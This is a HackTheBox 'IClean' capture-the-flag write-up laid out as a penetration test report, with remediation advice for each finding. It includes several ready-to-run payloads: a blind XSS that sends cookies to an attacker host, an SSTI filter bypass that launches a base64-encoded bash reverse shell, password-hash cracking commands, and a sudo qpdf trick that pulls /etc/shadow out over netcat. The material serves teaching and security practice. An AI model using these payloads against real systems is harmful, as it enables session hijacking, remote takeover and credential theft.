HTB IClean CTF Writeup
Table of Contents
ToggleOur comprehensive penetration test on HTB IClean CTF environment uncovered a series of vulnerabilities, from web-based exploits to deep system-level compromises. This report delves into the intricate vulnerabilities identified, offering a clear-eyed view of the cybersecurity challenges faced and the urgent remedial actions recommended to safeguard against potential cyber adversaries.
Executive Summary
The penetration test conducted on IClean's Capture The Flag (CTF) environment revealed multiple security vulnerabilities ranging from web-based attacks to system-level compromises. These findings highlight significant risks to the organization's digital assets and data integrity. The assessment focused on the initial target with an IP address of 10.10.11.12, hosting critical services including SSH and a web server with specific endpoints vulnerable to exploitation.
Key Findings
Blind Cross-Site Scripting (XSS): A blind XSS vulnerability was identified in the
/sendMessage
endpoint, allowing attackers to hijack session cookies of the management team. This issue was marked with an elevated severity due to its potential for session hijacking and unauthorized dashboard access.Remote Code Execution (RCE) via Server-Side Template Injection (SSTI): A critical vulnerability that allows attackers to execute arbitrary commands on the server by exploiting the SSTI vulnerability in the
/QRGenerator
endpoint. This vulnerability is of high severity due to the potential for full system compromise.Horizontal Privilege Escalation - Password Cracking: Weak password policies enabled the cracking of user passwords, specifically for the user "consuela". This vulnerability is classified as high severity due to the potential access to sensitive database information.
Vertical Privilege Escalation - qpdf: A severe vulnerability was discovered where the "consuela" user could escalate privileges to root by exploiting the qpdf tool. This vulnerability is considered of extreme severity due to the potential for full system control and access to sensitive files.
Recommendations
For each identified vulnerability, specific remediation strategies have been proposed:
Blind XSS: Implement input sanitization and validation on all user inputs, especially within the
/sendMessage
endpoint. Employ Content Security Policy (CSP) to mitigate the impact of XSS attacks.RCE via SSTI: Sanitize user inputs rigorously to prevent SSTI attacks. Employ strict template engine configurations to restrict unauthorized commands and functions from being executed.
Horizontal Privilege Escalation: Strengthen password policies to include complexity requirements and regular changes. Employ password hashing techniques that include salt to enhance security.
Vertical Privilege Escalation: Limit the use of tools with root privileges and implement command whitelists for users. Regularly audit sudoers file and user permissions to ensure principle of least privilege is followed.
Summary
The penetration testing exercise on the IClean CTF environment uncovered critical vulnerabilities that pose significant risks to the organization. Immediate attention to the recommendations provided is crucial to mitigate these risks and enhance the overall security posture of the IClean infrastructure. Continuous monitoring and regular security assessments are recommended to identify and remediate new vulnerabilities as they arise.
Initial Target - 10.10.11.12
Vhost: capiclean.htb
Service Enumeration
IP Address | TCP Ports Open |
---|---|
10.10.11.12 | 22 (OpenSSH 8.9p1 Ubuntu), 80 (Apache httpd 2.4.52 / Werkzeug/2.3.7 Python/3.10.12) |
BS01: Blind Cross-Site Scripting (XSS)
Explanation: We uncovered a Blind Cross-Site Scripting (XSS) vulnerability within the /sendMessage
endpoint of the web application. This type of vulnerability is particularly dangerous because it allows attackers to inject malicious scripts into web pages that are then executed by other users. In this instance, the vulnerability can be exploited by remote attackers to hijack the session cookies of the application's management team members.
Session cookies are critical components that web applications use to remember the state of a user session. If an attacker gains access to a session cookie, they can impersonate the legitimate user, in this case, a member of the management team, and gain unauthorized access to sensitive areas of the website, such as the dashboard, without the need for actual login credentials.
The root cause of this vulnerability lies in the application's inadequate input sanitization mechanisms. Specifically, when a management team member views the message logs, any malicious JavaScript code embedded within those messages is executed in their browser. This execution can compromise the security of the session by, for example, transmitting the session cookie to an attacker-controlled server.
Severity: The severity of this vulnerability is rated as elevated due to the potential for unauthorized access to sensitive areas of the web application and the indirect nature of the attack, which requires interaction from a victim (e.g., a member of the management team viewing the message log).
Recommendation: To mitigate this vulnerability, it is crucial to implement robust input validation and sanitization mechanisms on all user-supplied data before it is processed or displayed by the web application. Specifically, the application should encode or escape special characters, such as <
, >
, and "
, to prevent them from being interpreted as part of an HTML or JavaScript code and implement a Content Security Policy (CSP) to restrict the sources from which scripts can be executed, effectively preventing the execution of unauthorized scripts.
Steps to Reproduce: The vulnerability can be exploited with a simple curl
command, eliminating the need for complex tools or interactions. Here is how an attacker could reproduce the vulnerability:
Craft the Payload: Prepare the Blind XSS payload that will be sent to the vulnerable endpoint. This payload is designed to inject a script that sends the victim's cookies to an attacker-controlled server.
Encode the Payload: The payload must be URL-encoded to ensure it is transmitted correctly over HTTP.
Serve a web server: The attacker must serve a web server in order to receive the connection from the victim machine. The command:
python3 -m http.server 80
should be used.Send the Payload: Use the
curl
command to send the malicious payload to the/sendMessage
endpoint of the application. After that, wait a few minutes and a request will pop up on the terminal responsible for hosting the python web server.
Below is the curl
command that encapsulates these steps, making the reproduction of the vulnerability straightforward. Replace YOUR-TUN0-IP-ADDRESS
with the attacker's server IP address where the stolen cookies should be sent:
curl -X POST 'http://capiclean.htb/sendMessage' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'service=<img src="bsec" onerror="var bsec=document.createElement(\'script\');bsec.src=\'http://YOUR-TUN0-IP-ADDRESS/evil?c=\' + document.cookie;document.head.appendChild(bsec);"/>' \
--data-urlencode '[email protected]'
This is how the request should look like:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3d"bsec"+onerror%3d"var+bsec%3ddocument.createElement('script')%3bbsec.src%3d'http%3a//YOUR-TUN0-IP-ADDRESS/evil%3fc%3d'+%2b+document.cookie%3bdocument.head.appendChild(bsec)%3b"+/>&[email protected]
BS02: Remote Code Execution (RCE) via Sever Side Template Injection (SSTI)
Explanation: Server Side Template Injection (SSTI) vulnerabilities arise when an application includes user input in a template in an unsafe manner. In this case, the backend's insufficient input sanitization allows attackers to inject malicious code into the template rendering engine of the website via a malicious request to /QRGenerator
endpoint. This particular vulnerability is severe because it permits remote authenticated attackers to execute arbitrary system commands, leading to unauthorized access or control over server resources. Since templates are used to generate dynamic HTML content, exploiting an SSTI vulnerability can enable an attacker to manipulate the server-side processing and execute malicious code under the application's security context, making it a critical security risk.
Severity: The severity of this vulnerability is rated as high due to its potential to allow an attacker to gain unauthorized access to the server, execute arbitrary commands, and possibly access sensitive data or take over the server entirely. This level of access could lead to a complete compromise of the system's confidentiality, integrity, and availability, affecting not only the security posture of the organization but also its reputation and compliance with regulatory requirements.
Recommendation: Start by implementing strict input validation and sanitization mechanisms to ensure that only expected and safe input is processed by the application. Employ whitelisting techniques where possible, and use context-aware encoding to neutralize potential malicious payloads.
Steps to Reproduce:
Begin by exploiting BS01 to obtain a session cookie. Add this cookie to your browser to gain access to the admin dashboard, showcasing an initial step in the attack chain.
Navigate to the
/QRGenerator
endpoint. This page is vulnerable to SSTI due to improper handling of user input. Use a tool like Burp Suite to intercept and modify the request, setting the stage for the injection.Traditional SSTI payloads may not be effective due to custom security measures or specific template engine configurations. The provided payload utilizes a bypass technique that exploits internal objects and functions to execute arbitrary commands:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA+JjE= | base64 -d | bash")["read"]() %} a {% endwith %}
The base64 encoded part is just a simple reverse shell:
bash -i >& /dev/tcp/YOUR-TUN0-IP-ADDRESS/9001 0>&1
. You must change the IP address in this payload and issue the command:echo -n 'bash -i >& /dev/tcp/YOUR-TUN0-IP-ADDRESS/9001 0>&1' | base64
and replace the encoded result in the SSTI payload above.Prepare a listener on your system using netcat (
nc -lvnp 9001
), awaiting the reverse shell connection.The final step involves sending the SSTI payload to the server. URL encode the payload to ensure it's properly processed by the web application and append it to the request made to
/QRGenerator
. The request should look like the following:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 310
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhVYtg.LlwgbeudpHrq3N-S6CXmh1MeEkk
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={%25+with+a+%3d+request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo+-n+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA%2bJjE%3d+|+base64+-d+|+bash")["read"]()+%25}+a+{%25+endwith+%25}
BS03: Horizontal Privilege Escalation - Password Cracking
Explanation: We identified that MySQL database credentials were hardcoded within the Python application file located at /opt/app/app.py
. This practice poses a significant security risk as it exposes sensitive database credentials in plain text within the application's codebase. An attacker, having gained access to the "www-data" user account through the successful exploitation of a previous vulnerability labeled BS02, could exploit this vulnerability. By accessing the hardcoded database credentials, the attacker can authenticate to the MySQL database, thereby gaining unauthorized access to sensitive information, including password hashes stored within the users' table.
Our testing revealed that the password hash for the user "consuela" could be successfully cracked using a brute-force attack with a common wordlist. This indicates that the password employed by "consuela" was weak and included in widely available password dictionaries, such as "rockyou.txt". By cracking the password hash, we were able to authenticate to the system as the "consuela" user via SSH, effectively demonstrating a horizontal privilege escalation scenario where an attacker gains access privileges at the same level as other users.
Severity: This vulnerability is classified as high severity due to the potential for unauthorized data access, including sensitive personal information of users and system configurations, which could lead to further exploitation of the system and its users.
Recommendation: Refactor the application code to remove hardcoded database credentials. Instead, utilize environment variables or secure vault solutions to manage sensitive configuration data securely. This approach minimizes the risk of credential exposure in the application's codebase. Also, enforce strong password policies to ensure that all user passwords are robust and resistant to brute-force attacks. This policy should include guidelines on password complexity, such as minimum length, the inclusion of upper and lower case letters, numbers, and special characters, and periodic password changes.
Steps to Reproduce:
Log in to the MySQL database using the credentials found in
/opt/app/app.py
:mysql -u iclean -p;
Use the "capiclean" database:
use capiclean;
Select all users records:
select * from users;
Copy the password hash for "consuela" and save it locally on your system.
Use JohnTheRipper to crack it:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 hash.txt
BS04: Vertical Privilege Escalation - qpdf
Explanation: We discovered that the user "consuela" has been granted permissions to execute /usr/bin/qpdf
with root privileges. This poses a significant security risk as qpdf
, a command-line program that performs transformations on PDF files, can be exploited to read arbitrary files on the system. An attacker could leverage this to access highly sensitive information. For example, by crafting a malicious command, an attacker could embed the contents of /etc/shadow
, which contains password hashes for all users, into a seemingly innocuous PDF file. Similarly, the attacker could access the SSH private key for the root user, potentially gaining unrestricted access to the system.
Severity: The severity of this vulnerability is classified as extreme due to the potential for an unauthorized user to escalate privileges to root, the highest privilege level on a Unix/Linux system. This would allow the attacker to perform any action on the system, including accessing all user data, modifying system configurations, installing malicious software, and exfiltrating sensitive information.
Recommendation: Review and limit the use of sudo
to only those commands necessary for user roles. Specifically, remove or restrict the ability for non-privileged users to execute potentially harmful commands as root. Where root access is necessary, implement command whitelisting to allow only specific, pre-approved commands to be run with elevated privileges. This approach minimizes the risk of exploiting such commands for malicious purposes.
Steps to Reproduce:
Gain access to the system as the user "consuela" and run the following command to embed the contents of the
/etc/shadow
file into a PDF document:qpdf --empty --add-attachment /etc/shadow --mimetype=text/plain shadow.pdf
. This technique can be applied to exfiltrate any file from the system.To transfer the created PDF to an attacker's local machine, set up a listener on the local machine using Netcat:
nc -lvnp 1337 > shadow.pdf
. Then, on the victim's machine, send the PDF back to the attacker's listening port:nc [ATTACKER_IP] 1337 < shadow.pdf
.Once the file is transferred, use
binwalk
on the attacker's machine to extract the contents of the PDF:binwalk -e shadow.pdf
.Navigate to the directory containing the extracted files:
cd _shadow.pdf.extracted
.Locate and read the content of the extracted file that contains the
/etc/shadow
data. This file will not have a.zlib
extension.
Conclusion – HTB IClean CTF
We hope you have found our content on HTB IClean CTF useful and invite you to explore more of our website to discover other interesting topics we cover. From cybersecurity to programming, we strive to provide our readers with the latest and most relevant information that can help them stay informed and ahead of the curve. We are committed to providing the best user experience to you and are open to feedback and suggestions through our contact form. Thank you for choosing Behind Security, we hope to see you again soon!
BEHIND SECURITY
Behind Security is an online platform dedicated to providing informative articles on cybersecurity, privacy, and programming.